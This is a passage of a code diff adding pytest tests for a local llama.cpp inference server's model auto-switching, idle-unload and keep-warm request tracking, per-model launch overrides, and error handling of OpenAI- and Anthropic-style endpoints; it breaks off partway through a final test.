+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.02))
+        await asyncio.sleep(0.2)
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+    assert unloads == [1]  # freed once, not repeatedly
+    stash = kw.get_last_unloaded_model()
+    assert stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M"
+
+
+def test_audio_generate_is_tracked_as_inference_path():
+    # Direct GGUF TTS uses the llama backend and can outlive the idle TTL, so
+    # the keep-warm middleware must count it as in-flight inference.
+    from core.inference.llama_keepwarm import _is_inference_path
+
+    assert _is_inference_path("/api/inference/audio/generate") is True
+    assert _is_inference_path("/v1/chat/completions") is True
+    assert _is_inference_path("/api/inference/models/list") is False
+
+
+def test_idle_loop_does_not_unload_while_request_inflight(monkeypatch):
+    # An in-flight request (inflight > 0) must protect the model from unload
+    # even when it has been idle by wall-clock past the TTL.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.01)
+    monkeypatch.setattr(kw, "_inflight", 1)
+    monkeypatch.setattr(kw, "_last_active", time.monotonic() - 3600)
+
+    unloads = []
+    backend = _FakeBackend("unsloth/Active-GGUF")
+    backend.unload_model = lambda: unloads.append(1)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    async def _drive():
+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01))
+        await asyncio.sleep(0.08)
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+    assert unloads == []
+
+
+# ── per-model launch overrides ──────────────────────────────────────
+
+
+def test_auto_switch_applies_model_override(monkeypatch):
+    # A configured model loads with its saved launch flags, not bare defaults.
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(
+        settings,
+        "get_model_override",
+        lambda model_id: {"llama_extra_args": ["--n-gpu-layers", "20"], "max_seq_length": 4096},
+    )
+
+    _run_hook("unsloth/B-GGUF")
+    assert len(rec.calls) == 1
+    req = rec.calls[0]
+    assert req.model_path == "unsloth/B-GGUF"
+    assert req.gguf_variant == "Q4_K_M"
+    assert req.llama_extra_args == ["--n-gpu-layers", "20"]
+    assert req.max_seq_length == 4096
+
+
+def test_auto_switch_applies_partial_override(monkeypatch):
+    # Only llama_extra_args is configured: it is applied, max_seq_length stays default.
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(
+        settings, "get_model_override", lambda model_id: {"llama_extra_args": ["--flash-attn"]}
+    )
+
+    _run_hook("unsloth/B-GGUF")
+    req = rec.calls[0]
+    assert req.llama_extra_args == ["--flash-attn"]
+    assert req.max_seq_length == 0  # untouched default
+
+
+def _mock_override_store(monkeypatch):
+    """Back the override read + atomic-merge write with an in-memory dict."""
+    import storage.studio_db as db
+
+    store = {}
+
+    def _merge_entry(key, entry_key, entry_value):
+        current = dict(store.get(key) or {})
+        if entry_value:
+            current[entry_key] = entry_value
+        else:
+            current.pop(entry_key, None)
+        store[key] = current
+        return current
+
+    monkeypatch.setattr(db, "upsert_app_setting_map_entry", _merge_entry)
+    monkeypatch.setattr(db, "get_app_setting", lambda k, default = None: store.get(k, default))
+    settings._cache.clear()
+    return store
+
+
+def test_model_override_roundtrip(monkeypatch):
+    _mock_override_store(monkeypatch)
+
+    settings.set_model_override(
+        "unsloth/B-GGUF", llama_extra_args = ["--n-gpu-layers", "20"], max_seq_length = 4096
+    )
+    assert settings.get_model_override("unsloth/B-GGUF") == {
+        "llama_extra_args": ["--n-gpu-layers", "20"],
+        "max_seq_length": 4096,
+    }
+    # An override with no fields removes the entry rather than storing an empty one.
+    settings.set_model_override("unsloth/B-GGUF", llama_extra_args = [], max_seq_length = None)
+    assert settings.get_model_override("unsloth/B-GGUF") == {}
+    assert settings.get_model_overrides() == {}
+
+
+def test_override_route_rejects_managed_flag_and_removes(monkeypatch):
+    import routes.settings as settings_route
+    from fastapi import HTTPException
+
+    _mock_override_store(monkeypatch)
+
+    # A managed/denylisted llama-server flag is rejected with 400, not 500.
+    bad = settings_route.ModelOverridePayload(
+        model_id = "unsloth/B-GGUF", llama_extra_args = ["--port", "1234"]
+    )
+    with pytest.raises(HTTPException) as excinfo:
+        settings_route.update_openai_auto_switch_override(bad, "tester")
+    assert excinfo.value.status_code == 400
+
+    # A valid override is stored, then an empty payload removes it through the route.
+    ok = settings_route.ModelOverridePayload(
+        model_id = "unsloth/B-GGUF", llama_extra_args = ["--flash-attn"], max_seq_length = 4096
+    )
+    resp = settings_route.update_openai_auto_switch_override(ok, "tester")
+    assert resp.overrides["unsloth/B-GGUF"]["max_seq_length"] == 4096
+    assert "llama_extra_args" in resp.overrides["unsloth/B-GGUF"]
+
+    empty = settings_route.ModelOverridePayload(model_id = "unsloth/B-GGUF")
+    resp2 = settings_route.update_openai_auto_switch_override(empty, "tester")
+    assert "unsloth/B-GGUF" not in resp2.overrides
+
+
+def test_model_override_rejects_zero_max_seq_length():
+    # 0 is not a valid sequence length and the setter drops a falsy value, so the
+    # payload must reject it at the boundary instead of accepting then discarding it.
+    import pydantic
+    import routes.settings as settings_route
+
+    with pytest.raises(pydantic.ValidationError):
+        settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 0)
+    assert settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 1).max_seq_length == 1
+
+
+def test_update_openai_auto_switch_writes_both_keys_in_one_transaction(monkeypatch):
+    # The PUT must persist enabled + idle in a single upsert so a settings write can't
+    # leave one key updated and the other stale.
+    import routes.settings as settings_route
+    import storage.studio_db as db
+    from utils.openai_auto_switch_settings import (
+        AUTO_UNLOAD_IDLE_SETTING_KEY,
+        OPENAI_AUTO_SWITCH_SETTING_KEY,
+    )
+
+    calls = []
+
+    def _capture(mapping):
+        calls.append(dict(mapping))
+        return {}
+
+    monkeypatch.setattr(db, "upsert_app_settings", _capture)
+    settings._cache.clear()
+
+    payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 120)
+    resp = settings_route.update_openai_auto_switch(payload, "tester")
+    assert resp.enabled is True and resp.auto_unload_idle_seconds == 120
+    assert len(calls) == 1  # one transaction, not two
+    written = calls[0]
+    assert written.get(OPENAI_AUTO_SWITCH_SETTING_KEY) is True
+    assert written.get(AUTO_UNLOAD_IDLE_SETTING_KEY) == 120
+
+
+def test_settings_report_idle_unload_active_when_env_backed(monkeypatch):
+    # Codex P2: with UNSLOTH_MODEL_IDLE_TTL driving idle-unload while the toggle is
+    # off, the settings response must report idle_unload_active so the UI shows the
+    # feature as active via env rather than "needs enable".
+    import routes.settings as settings_route
+
+    monkeypatch.setattr(settings_route, "get_openai_auto_switch_enabled", lambda: False)
+    monkeypatch.setattr(settings_route, "get_stored_auto_unload_idle_seconds", lambda: 600)
+    monkeypatch.setattr(
+        settings_route, "get_auto_unload_idle_seconds", lambda: 600
+    )  # effective > 0
+    resp = settings_route.get_openai_auto_switch("tester")
+    assert resp.enabled is False and resp.idle_unload_active is True
+    # Effective TTL 0 (off, nothing env-backed) -> not active.
+    monkeypatch.setattr(settings_route, "get_auto_unload_idle_seconds", lambda: 0)
+    assert settings_route.get_openai_auto_switch("tester").idle_unload_active is False
+
+
+# ── /v1/models discovery ────────────────────────────────────────────
+
+
+def test_v1_models_retrieve_is_case_insensitive(monkeypatch):
+    # The resolver lowercases its index, so a retrieve that differs only in case
+    # from a catalog id must still hit (200), not 404. Guards the .lower() compare
+    # in openai_retrieve_model against a silent revert. (The full local catalog is
+    # main's #6519; only the loaded fast-path is exact, the catalog loop is lenient.)
+    from fastapi import HTTPException
+
+    monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: [])  # nothing loaded
+
+    async def _catalog():
+        return [
+            {"id": "unsloth/A-GGUF", "object": "model", "created": 1, "owned_by": "local"},
+            {"id": "unsloth/B-GGUF", "object": "model", "created": 1, "owned_by": "local"},
+        ]
+
+    monkeypatch.setattr(inference_route, "_openai_catalog_objects", _catalog)
+
+    # A catalog id retrieved with different casing still resolves.
+    obj = asyncio.run(inference_route.openai_retrieve_model("unsloth/a-gguf", "tester"))
+    assert obj["id"] == "unsloth/A-GGUF"
+    # A truly unknown id still 404s.
+    with pytest.raises(HTTPException) as unknown:
+        asyncio.run(inference_route.openai_retrieve_model("totally/unknown", "tester"))
+    assert unknown.value.status_code == 404
+
+
+# ── hardening: hidden models, idle/enabled coupling, count_tokens keep-warm ──
+
+
+def test_index_excludes_hidden_models(tmp_path, monkeypatch):
+    # The llama.cpp validation probe and RAG embedding weights are hidden from
+    # Studio's pickers; they must never become auto-switch targets.
+    from types import SimpleNamespace
+    import routes.models as models_route
+
+    normal = tmp_path / "normal-Q4_K_M.gguf"
+    normal.write_bytes(b"x" * 32)
+    probe = tmp_path / "stories260K.gguf"  # llama.cpp install-validation probe
+    probe.write_bytes(b"x" * 32)
+
+    def _info(mid, path):
+        return SimpleNamespace(id = mid, path = str(path), model_id = mid, display_name = mid)
+
+    monkeypatch.setattr(
+        models_route,
+        "_scan_models_dir",
+        lambda *a, **k: [_info("org/Normal-GGUF", normal), _info("ggml-org/models", probe)],
+    )
+    monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: [])
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path)
+    resolver._scan = (0.0, {})
+
+    index = resolver._index()
+    assert "org/normal-gguf" in index  # keys are normalized to lowercase
+    assert "ggml-org/models" not in index
+    # And the hidden probe cannot be auto-switched to by name.
+    resolver._scan = (0.0, {})
+    assert resolver.resolve_local_gguf("ggml-org/models") is None
+
+
+def test_idle_disabled_when_auto_switch_off(monkeypatch):
+    # "Off means unchanged": a stored idle TTL must report 0 while auto-switch is
+    # off, so the idle loop and keep-warm middleware can never unload the model.
+    store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 60}
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    assert settings.get_auto_unload_idle_seconds() == 0
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    assert settings.get_auto_unload_idle_seconds() == 60
+
+
+def test_count_tokens_is_tracked_as_inference_path():
+    # count_tokens counts via the loaded tokenizer, so idle-unload must not pull
+    # the model out from under it; it has to be a tracked in-flight path.
+    from core.inference.llama_keepwarm import _is_inference_path
+
+    assert _is_inference_path("/v1/messages/count_tokens") is True
+    assert _is_inference_path("/api/inference/messages/count_tokens") is True
+    assert _is_inference_path("/v1/messages") is True
+
+
+# ── review follow-ups: bare-id reuse, responses order, in-flight tracking ──
+
+
+def test_bare_id_tolerates_any_loaded_variant(monkeypatch):
+    # Repo already loaded as Q4_K_M; a BARE request for the same repo (resolver
+    # picks the largest local quant, Q8_0) must NOT reload a different quant.
+    backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF")  # bare, no :VARIANT
+    assert rec.calls == []
+    # An explicit :VARIANT request still honors the quant (reloads to Q8_0).
+    rec2 = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec2,
+    )
+    _run_hook("unsloth/B-GGUF:Q8_0")
+    assert len(rec2.calls) == 1
+
+
+def test_responses_hook_runs_after_input_validation():
+    # A request that 400s on empty input must not have triggered a model load,
+    # so the auto-switch hook must come after the input-validation guard.
+    import inspect
+
+    src = inspect.getsource(inference_route.openai_responses)
+    assert "No input provided" in src
+    assert src.index("No input provided") < src.index("_maybe_auto_switch_model")
+
+
+def test_responses_system_only_rejected_before_switch(monkeypatch):
+    # Codex P2: instructions-only input normalises to a lone system message, which
+    # passes the empty-input check; it must 400 before the switch so an invalid
+    # Responses request can't evict the resident model.
+    from fastapi import HTTPException
+    from models.inference import ResponsesRequest
+
+    async def _boom(*a, **k):
+        raise AssertionError("must not switch a system-only Responses request")
+
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = ResponsesRequest(model = "org/B-GGUF", instructions = "be helpful", input = "")
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_responses(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+
+
+def test_keepwarm_tracks_inflight_when_enabled_even_if_idle_zero(monkeypatch):
+    # In-flight must be counted whenever auto-switch is on, even with idle TTL 0,
+    # so enabling idle mid-stream cannot unload an in-flight request.
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    kw._inflight = 0
+    seen = {}
+
+    async def app(scope, receive, send):
+        seen["inflight"] = kw._inflight
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"ok", "more_body": False})
+
+    async def drive():
+        async def receive():
+            return {"type": "http.request", "body": b"", "more_body": False}
+
+        async def send(_m):
+            pass
+
+        scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []}
+        await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send)
+
+    asyncio.run(drive())
+    assert seen["inflight"] == 1  # counted despite idle TTL being 0
+    assert kw._inflight == 0  # balanced after completion
+
+
+# ── review follow-ups: OFF-state body, swap guard, alias reload, always-track ──
+
+
+def _bad_body_request():
+    import json as _json
+    class _BadReq:
+        async def json(self):
+            raise _json.JSONDecodeError("expecting value", "", 0)
+
+    return _BadReq()
+
+
+def test_completions_malformed_body_503_not_500_when_unloaded(monkeypatch):
+    # OFF + nothing loaded + unparseable body must still 503 (pre-feature
+    # behavior), not 500 from the early body read.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = None,
+        backend = backend,
+        recorder = _LoadRecorder(backend),
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_completions(_bad_body_request(), "tester"))
+    assert exc.value.status_code == 503
+
+
+def test_embeddings_malformed_body_503_not_500_when_unloaded(monkeypatch):
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = None,
+        backend = backend,
+        recorder = _LoadRecorder(backend),
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_embeddings(_bad_body_request(), "tester"))
+    assert exc.value.status_code == 503
+
+
+def test_non_string_model_falls_through_without_error(monkeypatch):
+    # A non-string model (e.g. {"model": 123} on a raw-body endpoint) must be
+    # treated as absent, never raising in the membership checks, even when a stash
+    # exists from idle-unload.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None))
+    asyncio.run(inference_route._maybe_auto_switch_model(123, object(), "tester"))
+    assert rec.calls == []  # no load, no TypeError
+
+
+def test_anthropic_validates_max_tokens_before_auto_switch():
+    # An Anthropic request missing max_tokens must 400 before the hook runs, so an
+    # invalid request never triggers a model load. Asserted on the source order.
+    import inspect
+
+    src = inspect.getsource(inference_route.anthropic_messages)
+    assert "_maybe_auto_switch_model" in src
+    assert src.index("max_tokens: field required") < src.index("_maybe_auto_switch_model")
+
+
+def test_alias_reloads_model_freed_by_idle_unload_with_quant(monkeypatch):
+    # After idle-unload frees the model, an unknown/alias name (resolves to None)
+    # reloads what was freed, including the exact quant, instead of 503-ing.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # idle-unload emptied the backend
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", "Q4_K_M"))
+    _run_hook("gpt-4o-mini")
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "unsloth/A-GGUF"
+    assert rec.calls[0].gguf_variant == "Q4_K_M"  # exact freed quant restored
+
+
+def test_alias_does_not_reload_when_model_already_loaded(monkeypatch):
+    # The reload only triggers on an empty backend; with something loaded, an
+    # unknown name still falls through (drop-in) without resurrecting the stash.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("unsloth/B-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None))
+    _run_hook("gpt-4o-mini")
+    assert rec.calls == []
+
+
+def test_idle_loop_does_not_unload_while_request_pending(monkeypatch):
+    # A request that has marked itself pending (waiting on the unload gate) but not
+    # yet started must keep the idle loop from unloading the model.
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_pending", 0)
+    monkeypatch.setattr(kw, "_last_active", 0.0)  # far past any TTL
+    kw._note_pending()
+    try:
+        assert kw._is_idle(1.0) is False  # pending request blocks unload
+    finally:
+        kw._note_unpending()
+    assert kw._is_idle(1.0) is True  # cleared once it is no longer pending
+
+
+def test_keepwarm_tracks_inflight_even_when_auto_switch_off(monkeypatch):
+    # A stream that starts while the feature is OFF must still be counted, so
+    # enabling idle-unload mid-stream cannot unload it.
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    seen = {}
+
+    async def app(scope, receive, send):
+        seen["inflight"] = kw._inflight
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"ok", "more_body": False})
+
+    async def drive():
+        async def receive():
+            return {"type": "http.request", "body": b"", "more_body": False}
+
+        async def send(_m):
+            pass
+
+        scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []}
+        await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send)
+
+    asyncio.run(drive())
+    assert seen["inflight"] == 1  # tracked despite the feature being off
+    assert kw._inflight == 0
+
+
+def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch, tmp_path):
+    # _build_index must scan the same roots the model picker lists, else a model
+    # the UI shows is silently served as the loaded one. Verify each is consulted.
+    from pathlib import Path
+    import routes.models as models_route
+    from utils import paths as upaths
+    import storage.studio_db as studio_db
+
+    scanned = []
+    monkeypatch.setattr(
+        models_route,
+        "_scan_models_dir",
+        lambda d, limit = None: scanned.append(("models", str(Path(d).resolve()))) or [],
+    )
+    monkeypatch.setattr(
+        models_route,
+        "_scan_hf_cache",
+        lambda d: scanned.append(("hf", str(Path(d).resolve()))) or [],
+    )
+    monkeypatch.setattr(
+        models_route,
+        "_scan_lmstudio_dir",
+        lambda d: scanned.append(("lm", str(Path(d).resolve()))) or [],
+    )
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active")
+    monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False)
+    monkeypatch.setattr(upaths, "legacy_hf_cache_dir", lambda: tmp_path / "legacy")
+    monkeypatch.setattr(upaths, "hf_default_cache_dir", lambda: tmp_path / "default")
+    monkeypatch.setattr(upaths, "lmstudio_model_dirs", lambda: [tmp_path / "lmstudio"])
+    monkeypatch.setattr(
+        studio_db, "list_scan_folders", lambda: [{"path": str(tmp_path / "custom")}]
+    )
+    for sub in ("active", "legacy", "default", "lmstudio", "custom"):
+        (tmp_path / sub).mkdir()
+
+    resolver._build_index()
+
+    hf = {p for k, p in scanned if k == "hf"}
+    lm = {p for k, p in scanned if k == "lm"}
+    assert str((tmp_path / "legacy").resolve()) in hf
+    assert str((tmp_path / "default").resolve()) in hf
+    assert str((tmp_path / "custom").resolve()) in hf
+    assert str((tmp_path / "lmstudio").resolve()) in lm
+
+
+# ── gemini round: list-body 400, non-POST not tracked ──
+
+
+def _json_body_request(payload):
+    class _Req:
+        async def json(self):
+            return payload
+
+    return _Req()
+
+
+def test_completions_list_body_is_400_not_500(monkeypatch):
+    # A valid JSON non-dict body (e.g. a list) on a loaded backend is a clean 400,
+    # not a 500 from body.get(...).
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("unsloth/A-GGUF")  # loaded
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = None,
+        backend = backend,
+        recorder = _LoadRecorder(backend),
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_completions(_json_body_request([]), "tester"))
+    assert exc.value.status_code == 400
+
+
+def test_embeddings_list_body_is_400_not_500(monkeypatch):
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("unsloth/A-GGUF")
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = None,
+        backend = backend,
+        recorder = _LoadRecorder(backend),
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_embeddings(_json_body_request([]), "tester"))
+    assert exc.value.status_code == 400
+
+
+def test_middleware_ignores_non_post(monkeypatch):
+    # CORS preflight (OPTIONS) on an inference path must not be tracked as in-flight.
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(kw, "_inflight", 0)
+    seen = {}
+
+    async def app(scope, receive, send):
+        seen["inflight"] = kw._inflight
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"", "more_body": False})
+
+    async def drive():
+        async def receive():
+            return {"type": "http.request", "body": b"", "more_body": False}
+
+        async def send(_m):
+            pass
+
+        scope = {"type": "http", "path": "/v1/chat/completions", "method": "OPTIONS", "headers": []}
+        await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send)
+
+    asyncio.run(drive())
+    assert seen["inflight"] == 0  # OPTIONS not counted
+    assert kw._inflight == 0
+
+
+# ── review round 4: swap guard, idle variant identity, load-by-path, stash clear ──
+
+
+def test_auto_switch_refuses_when_another_inference_is_active(monkeypatch):
+    # A cross-model swap must 409 (not kill) while another inference request is in
+    # flight; the requesting call itself is excluded from the count.
+    from fastapi import HTTPException
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)  # this request + another active one
+    monkeypatch.setattr(kw, "_pending", 0)
+    with pytest.raises(HTTPException) as exc:
+        _run_hook("org/B-GGUF:Q8_0")
+    assert exc.value.status_code == 409
+    assert rec.calls == []
+
+
+def test_auto_switch_swaps_when_only_caller_is_active(monkeypatch):
+    # Only the caller is in flight: nothing else to protect, so the swap proceeds.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", None, "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 1)
+    monkeypatch.setattr(kw, "_pending", 0)
+    _run_hook("org/B-GGUF")
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/p/B"  # concrete local path, not the repo id
+
+
+def test_idle_loop_resets_timer_for_same_repo_different_variant(monkeypatch):
+    # Same repo, different quant counts as a fresh model: the idle timer resets, so
+    # the new variant is not unloaded before one TTL of its own.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.05)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_pending", 0)
+
+    unloads = []
+    backend = _FakeBackend("org/model-GGUF", hf_variant = "Q4_K_M")
+    backend.unload_model = lambda: unloads.append(1)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    async def _drive():
+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01))
+        await asyncio.sleep(0.03)
+        assert unloads == []
+        kw._last_active = time.monotonic() - 60  # force idle
+        backend.hf_variant = "Q8_0"  # same id, new quant -> fresh identity
+        await asyncio.sleep(0.03)
+        assert unloads == []  # timer reset by the variant change, not unloaded
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+
+
+def test_generate_stream_is_tracked_as_inference_path():
+    from core.inference.llama_keepwarm import _is_inference_path
+
+    assert _is_inference_path("/api/inference/generate/stream") is True
+    assert _is_inference_path("/api/inference/audio/generate") is True
+    assert _is_inference_path("/v1/responses") is True
+
+
+def test_successful_manual_load_clears_last_unloaded_stash():
+    from core.inference import llama_keepwarm as kw
+
+    kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M"))
+    assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M")
+    kw.note_model_loaded()
+    assert kw.get_last_unloaded_model() is None
+
+
+def test_hf_cache_entry_loads_from_local_snapshot_path(tmp_path):
+    # An HF-cache repo resolves to its on-disk snapshot dir, so /load takes the
+    # local branch (no repo-id download). loader_id stays the repo id.
+    from types import SimpleNamespace
+
+    repo = tmp_path / "models--org--Repo"
+    snap = repo / "snapshots" / "abc123"
+    snap.mkdir(parents = True)
+    (snap / "model-Q4_K_M.gguf").write_bytes(b"GGUF stub")
+
+    entry = resolver._local_gguf_entry("org/Repo", SimpleNamespace(id = "org/Repo", path = str(repo)))
+    assert entry is not None
+    assert entry.loader_id == "org/Repo"  # advertised id unchanged
+    assert "snapshots" in entry.load_path  # loads from the concrete snapshot dir
+    assert entry.load_path != "org/Repo"  # never the bare repo id
+    assert entry.variants  # quant detected on disk
+
+
+# ── review round 5: concurrent-swap, repo-id identity, /v1/models id, gate, 503 ──
+
+
+def test_already_loaded_by_repo_id_is_not_reswapped(monkeypatch):
+    # A model loaded normally has model_identifier == repo id, but the resolver
+    # returns the concrete load path. A request for that repo must count as already
+    # serving (no reload, no 409) even with another inference active.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/Repo-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/cache/models--org--Repo-GGUF/snapshots/abc", "Q4_K_M", "org/Repo-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)
+    monkeypatch.setattr(kw, "_pending", 0)
+    _run_hook("org/Repo-GGUF:Q4_K_M")  # exact quant
+    _run_hook("org/Repo-GGUF")  # bare id
+    assert rec.calls == []
+
+
+def test_auto_switch_advertises_repo_id_after_load(monkeypatch):
+    # After a load-by-path, the backend advertises the repo id (override key), not
+    # the concrete path, so /v1/models and the idle stash stay name-based.
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B-snapshot", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("org/B-GGUF:Q8_0")
+    assert rec.calls[0].model_path == "/p/B-snapshot"  # loaded by concrete path
+    assert backend._openai_advertised_id == "org/B-GGUF"  # advertised by repo id
+
+
+def test_already_serving_by_path_records_advertised_alias(monkeypatch):
+    # Codex P2: a model loaded by local path and requested via an advertised alias
+    # that resolves to the same path is already serving (no reload), but /v1/models
+    # and responses would report the path basename and list the alias as loaded:false
+    # unless the alias is recorded as the advertised id on the already-serving return.
+    path = "/cache/models--org--Repo-GGUF/snapshots/abc"
+    backend = _FakeBackend(path, hf_variant = "Q4_K_M")  # loaded by path, no advertised id
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = (path, "Q4_K_M", "org/Repo-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    assert backend._openai_advertised_id is None
+    _run_hook("org/Repo-GGUF:Q4_K_M")
+    assert rec.calls == []  # already serving -> no reload
+    assert backend._openai_advertised_id == "org/Repo-GGUF"  # alias now recorded
+
+
+def test_streaming_responses_uses_advertised_id_helper():
+    # Codex P2: streamed /v1/responses envelopes must derive the model id from
+    # _llama_public_model_id (which prefers _openai_advertised_id), not the raw
+    # model_identifier. After an auto-switch to a cached HF GGUF the identifier is
+    # the snapshot path while the repo id lives in _openai_advertised_id, so the raw
+    # form would stream a snapshot basename while /v1/models, chat, and non-streaming
+    # responses report the repo id.
+    import inspect
+
+    src = inspect.getsource(inference_route._responses_stream)
+    assert "_clean_model = _llama_public_model_id(llama_backend" in src
+    assert 'public_model_id(getattr(llama_backend, "model_identifier"' not in src
+
+
+def test_concurrent_same_target_requests_load_once(monkeypatch):
+    # Two concurrent requests for the same unloaded model must load once, not each
